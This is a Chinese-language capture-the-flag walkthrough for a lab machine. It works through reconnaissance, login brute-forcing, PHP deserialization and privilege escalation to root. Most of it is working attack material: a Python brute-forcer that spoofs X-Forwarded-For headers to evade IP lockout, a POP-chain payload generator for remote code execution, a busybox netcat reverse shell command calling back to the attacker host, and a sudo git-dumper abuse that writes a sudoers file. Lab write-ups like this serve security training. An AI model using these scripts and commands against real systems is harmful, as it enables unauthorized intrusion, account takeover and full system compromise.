一、信息收集

1. 主机发现

使用 `arp-scan` 扫描本地网络，发现目标主机 IP 地址为 `192.168.205.230`。

```
┌──(kali㉿kali)-[/tmp]
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
192.168.205.230 08:00:27:03:0e:34       PCS Systemtechnik GmbH
...
```

2. 端口与服务扫描

使用 `nmap` 对目标主机进行全端口扫描，发现其开放了 22 (SSH) 和 80 (HTTP) 端口

```
┌──(kali㉿kali)-[/tmp]
└─$ nmap -p- 192.168.205.230
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 08:58 EDT
Nmap scan report for 192.168.205.230
Host is up (0.00016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:03:0E:34 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

3. Web 目录枚举

使用 `gobuster` 对 Web 服务进行目录爆破，发现多个 PHP 文件，包括 `login.php`，`check.php`，`secret.php` 等关键页面。

```
┌──(kali㉿kali)-[/tmp]
└─$ gobuster dir -u http://192.168.205.230 -w
/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
-x php,txt,html
===============================================================
[+] Url:                     http://192.168.205.230
...
/index.html           (Status: 200)
/login.php            (Status: 200)
/logout.php           (Status: 302) --> login.php
/check.php            (Status: 200)
/ok.php               (Status: 302) --> login.php
/secret.php           (Status: 200)
...
===============================================================
```

二、初始访问

Web 渗透 (Port 80)

1. 登录绕过与爆破

访问 `http://192.168.205.230`，进入一个登录页面。`secret.php` 页面提示“大门似乎无法被暴力打开”，暗示可能存在防爆破机制。

经过测试，发现登录验证接口 `check.php` 存在 CSRF Token 校验，并且有基于 IP 的登录尝试限制。通过在 HTTP 请求头中伪造 `X-Forwarded-For` 字段，可以绕过此 IP 限制。

编写 Python 脚本，在每次尝试密码前都先请求登录页获取新的 CSRF Token，并伪造来源 IP，成功爆破出 `admin` 用户的密码为 `superman1`。

攻击脚本

```python
import requests
import re
from time import sleep
from random import randint

LOGIN_URL = "http://192.168.205.230/login.php"
CHECK_URL = "http://192.168.205.230/check.php"
USERNAME = "admin"
PASSWORD_LIST_PATH = "/usr/share/wordlists/rockyou.txt"

def gen_ip():
    return f"{randint(1,255)}.{randint(1,255)}.{randint(1,255)}.
{randint(1,255)}"

def main():
    print("--- 开始攻击 ---")
    print(f"[*] 目标URL: {CHECK_URL}")
    print(f"[*] 用户名: {USERNAME}")
    print(f"[*] 密码字典: {PASSWORD_LIST_PATH}")
    print("-" * 20)
```

```
    session = requests.Session()

    try:
        with open(PASSWORD_LIST_PATH, "r", encoding='latin-1') as f:
            for pwd in f:
                pwd = pwd.strip()
                if not pwd:
                    continue

                try:
                    ip = gen_ip()
                    headers = {
                        'X-Forwarded-For': ip,
                        'X-Originating-IP': ip,
                        'X-Remote-IP': ip,
                        'X-Remote-Addr': ip
                    }

                    print(f"[*] 正在为密码 '{pwd}' 获取新Token... (IP: {ip})")
                    r = session.get(LOGIN_URL, headers=headers)
                    token_match = re.search(r'id="csrfToken" value="([a-f0-9]
{16})"', r.text)
                    if not token_match:
                        print("[!] 无法获取Token，可能被封IP或页面变更。")
                        break

                    token = token_match.group(1)
                    print(f"[*] 获取成功, Token: {token}")

                    data = {
                        "username": USERNAME,
                        "password": pwd,
                        "csrf_token": token
                    }

                    res = session.post(CHECK_URL, data=data, headers=headers)
                    print(f"[*] 正在尝试密码: {pwd}")

                    if "密码错误" not in res.text and "用户名错误" not in res.text
and "登录尝试次数过多" not in res.text:
                        print("\n" + "="*40)
                        print(f"[+] !!! 攻击成功 !!!")
                        print(f"[+] 用户名: {USERNAME}")
                        print(f"[+] 密码: {pwd}")
                        print(f"[+] 响应内容: {res.text}")
                        print("="*40)
                        return

                    if "用户名错误" in res.text:
                        print("[!] 用户名错误，停止爆破。")
                        return

                    if "登录尝试次数过多" in res.text:
                        print("[!] 账户被锁定，稍等5分钟...")
                        sleep(300)
```

```
                except requests.RequestException as e:
                    print(f"[!] 请求异常: {e}")
                    sleep(5)

    except FileNotFoundError:
        print(f"[!] 密码字典未找到: {PASSWORD_LIST_PATH}")
    except Exception as e:
        print(f"[!] 未知错误: {e}")

if __name__ == "__main__":
    main()
```

2. PHP 反序列化漏洞利用

成功登录后，发现 `ok.php` 页面存在 PHP 反序列化漏洞，其代码如下：

```
if (isset($_GET['data'])) {
    $data = $_GET['data'];
    unserialize($data);
}
```

`unserialize` 函数的参数直接取自 GET 请求，存在严重安全风险。通过分析应用程序的类（`UserSession`, `CacheManager`, `FileHandler`, `SystemExecutor`），可以构造一条 POP (Property-Oriented Programming) 链，最终实现远程代码执行。

POP 链利用思路:
`UserSession` -> `CacheManager` -> `FileHandler` -> `SystemExecutor`

通过此链条，最终会触发 `SystemExecutor` 类中的 `__destruct` 方法执行系统命令。

Payload 生成脚本:

```
import urllib.parse

class SystemExecutor: pass
class FileHandler: __init__ = lambda s,p,f: setattr(s,'process',p) or
setattr(s,'filename',f)
class CacheManager: __init__ = lambda s,c: setattr(s,'cacheFile',c)
class UserSession: __init__ = lambda s,l: setattr(s,'logger',l)

def php_ser(obj):
    if isinstance(obj, str):
        return f's:{len(obj)}:"{obj}";'
    if isinstance(obj, SystemExecutor):
        return 'O:14:"SystemExecutor":0:{}'
    if isinstance(obj, FileHandler):
        d = php_ser('process')+php_ser(obj.process)
        d += php_ser('filename')+php_ser(obj.filename)
        return f'O:11:"FileHandler":2:{{{d}}}'
    if isinstance(obj, CacheManager):
        d = php_ser('cacheFile')+php_ser(obj.cacheFile)
        return f'O:12:"CacheManager":1:{{{d}}}'
```

```
    if isinstance(obj, UserSession):
        d = php_ser('logger')+php_ser(obj.logger)
        return f'O:11:"UserSession":1:{{{d}}}'
    return 'N;'

def g():
    c = input("输入命令: ").strip()
    e = SystemExecutor()
    f = FileHandler(e, c)
    cm = CacheManager(f)
    us = UserSession(cm)
    p = php_ser(us)
    u = f"http://192.168.205.230/ok.php?data={urllib.parse.quote(p)}"
    print(f"[*] 序列化字符串:\n{p}\n")
    print(f"[*] 攻击URL:\n{u}")

if __name__ == "__main__":
    g()
```

尝试利用

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ python3 b.py
输入命令: id
[*] 序列化字符串:
O:11:"UserSession":1:{s:6:"logger";O:12:"CacheManager":1:
{s:9:"cacheFile";O:11:"FileHandler":2:{s:7:"process";O:14:"SystemExecutor":0:
{}s:8:"filename";s:2:"id";}}}

[*] 攻击URL:
http://192.168.205.230/ok.php?
data=O%3A11%3A%22UserSession%22%3A1%3A%7Bs%3A6%3A%22logger%22%3BO%3A12%3A%22Cach
eManager%22%3A1%3A%7Bs%3A9%3A%22cacheFile%22%3BO%3A11%3A%22FileHandler%22%3A2%3A
%7Bs%3A7%3A%22process%22%3BO%3A14%3A%22SystemExecutor%22%3A0%3A%7B%7Ds%3A8%3A%22
filename%22%3Bs%3A2%3A%22id%22%3B%7D%7D%7D
```

去web看了一下，返回了good，那弹shell

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ python3 b.py
输入命令: busybox nc 192.168.205.128 8888 -e /bin/bash
[*] 序列化字符串:
O:11:"UserSession":1:{s:6:"logger";O:12:"CacheManager":1:
{s:9:"cacheFile";O:11:"FileHandler":2:{s:7:"process";O:14:"SystemExecutor":0:
{}s:8:"filename";s:44:"busybox nc 192.168.205.128 8888 -e /bin/bash";}}}

[*] 攻击URL:
http://192.168.205.230/ok.php?
data=O%3A11%3A%22UserSession%22%3A1%3A%7Bs%3A6%3A%22logger%22%3BO%3A12%3A%22Cach
eManager%22%3A1%3A%7Bs%3A9%3A%22cacheFile%22%3BO%3A11%3A%22FileHandler%22%3A2%3A
%7Bs%3A7%3A%22process%22%3BO%3A14%3A%22SystemExecutor%22%3A0%3A%7B%7Ds%3A8%3A%22
filename%22%3Bs%3A44%3A%22busybox%20nc%20192.168.205.128%208888%20-
e%20/bin/bash%22%3B%7D%7D%7D
```

在本地使用 `netcat` 开启监听，然后访问构造好的 URL，成功接收到 `www-data` 用户的反弹 shell。

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.230] 55154
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

三、权限提升

1. 从 `www-data` 到 `sky`

在 `www-data` 用户的 shell 中，于网站根目录 `/var/www/html` 下发现一个名为 `ll1045670921.php` 的可疑文件。查看其内容，获得了一个密钥/密码：`bf4e842c9fea1b77`。

```
www-data@sky:/var/www/html$ cat ll1045670921.php
<?php
...
// 看来你找到了通往天空的密钥：bf4e842c9fea1b77
?>
```

通过 `ls /home` 发现存在用户 `sky`。使用该密钥作为密码，成功切换到 `sky` 用户，并读取到第一个 flag。

```
www-data@sky:/var/www/html$ su sky
Password: <在此输入密钥>
sky@sky:/var/www/html$ cd
sky@sky:~$ cat user.txt
# 恭喜你，找到了第一个国王秘宝
flag{user-TheNineHeavensBlackMagicScroll}
```

2. 从 `sky` 到 `root` (`git-dumper` 提权)

使用 `sudo -l` 命令检查 `sky` 用户的权限，发现该用户可以无密码执行 `/usr/local/bin/git-dumper` 命令。

```
sky@sky:~$ sudo -l
...
User sky may run the following commands on sky:
    (ALL) NOPASSWD: /usr/local/bin/git-dumper
```

`git-dumper` 工具用于从网站下载暴露的 `.git` 仓库。其接受两个主要参数：源 URL 和输出目录。由于 `sudo` 允许以 root 身份运行此程序，并且可以指定任意输出目录，这便构成了一个典型的**任意文件写入**漏洞。 我们可以利用此漏洞向 `/etc/sudoers.d/` 目录写入一个自定义的 sudoers 配置文件，从而为 `sky` 用户授予完全的 root 权限。

攻击步骤：

1. **在攻击机 (Kali) 上创建恶意 git 仓库：**
    - 创建一个新目录并初始化为 git 仓库。

- 在仓库中创建一个文件（例如 `sky_privs`），内容为 `sky ALL=(ALL:ALL) NOPASSWD: ALL`。
- 将此文件添加到 git 并提交。
- 在仓库目录下启动一个临时的 HTTP 服务器。

```
# 在 Kali 上执行
┌──(kali㉿kali)-[/tmp]
└─$ mkdir git_exploit && cd git_exploit
┌──(kali㉿kali)-[/tmp/git_exploit]
└─$ git init
┌──(kali㉿kali)-[/tmp/git_exploit]
└─$ echo "sky ALL=(ALL:ALL) NOPASSWD: ALL" > sky_privs
┌──(kali㉿kali)-[/mnt/…/gx/x/tmp/gitexp]
└─$ git config user.name "xxoo"
┌──(kali㉿kali)-[/mnt/…/gx/x/tmp/gitexp]
└─$ git config user.email "xxoo@x.com"
┌──(kali㉿kali)-[/tmp/git_exploit]
└─$ git add sky_privs && git commit -m "pwn"
┌──(kali㉿kali)-[/tmp/git_exploit]
└─$ python3 -m http.server 80
```

2. **在靶机上利用 `git-dumper` 写入文件：**
   - 以 `sky` 用户身份，使用 `sudo` 执行 `git-dumper`。
   - URL 指向攻击机的 HTTP 服务器。
   - 输出目录指定为 `/etc/sudoers.d/`。`git-dumper` 会将仓库中的文件恢复到该目录。

```
# 在靶机上执行
sky@sky:~$ sudo /usr/local/bin/git-dumper http://192.168.205.128
/etc/sudoers.d/
...
[-] Running git checkout .
Updated 1 path from the index
```

3. **验证并获取 Root Shell：**
   执行成功后，再次检查 `sudo` 权限，可以看到新的规则已生效。现在可以直接切换到 root 用户。

```
sky@sky:~$ sudo -l
...
User sky may run the following commands on sky:
    (ALL) NOPASSWD: /usr/local/bin/git-dumper
    (ALL : ALL) NOPASSWD: ALL    <-- 提权成功!

sky@sky:~$ sudo bash
root@sky:/home/sky# id
uid=0(root) gid=0(root) groups=0(root)
```

四、夺取旗帜

获取 root 权限后，读取所有旗帜文件。

```
root@sky:/home/sky# cat /home/sky/user.txt /root/root.txt
# 恭喜你，找到了第一个国王秘宝
flag{user-TheNineHeavensBlackMagicScroll}
# 恭喜你，找到了最终的王国秘藏
flag{root-TheSwordoftheSky}
```